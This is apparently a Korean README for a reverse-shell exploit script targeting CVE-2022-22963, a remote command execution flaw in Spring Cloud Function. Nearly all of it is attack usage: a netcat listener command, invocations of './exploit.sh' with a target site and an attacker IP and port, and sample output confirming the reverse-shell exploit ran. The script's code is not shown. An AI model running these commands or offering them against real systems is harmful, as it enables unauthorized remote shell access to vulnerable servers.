Spring Cloud RCE 익스플로잇 (CVE 2022-22963)

Spring Cloud Function의 CVE-2022-22963 원격 명령 실행 익스플로잇

취약점에 대한 자세한 내용은 여기 및 여기에서 확인하세요

PoC

호스트에서 netcat을 실행하세요:

$ nc -lvnp 9001

공격자 호스트에서 기본 포트 **9001**로 익스플로잇을 실행합니다 (예시):

$ ./exploit.sh site.com 10.10.14.122
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:9001
[*] Done

공격자 호스트에서 지정된 포트 **1337**로 익스플로잇을 실행합니다 (예시):

$ ./exploit.sh site.com 10.10.14.122 1337
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:1337
[*] Done

RCE-in-Spring-Cloud-CVE-2022-22963

인기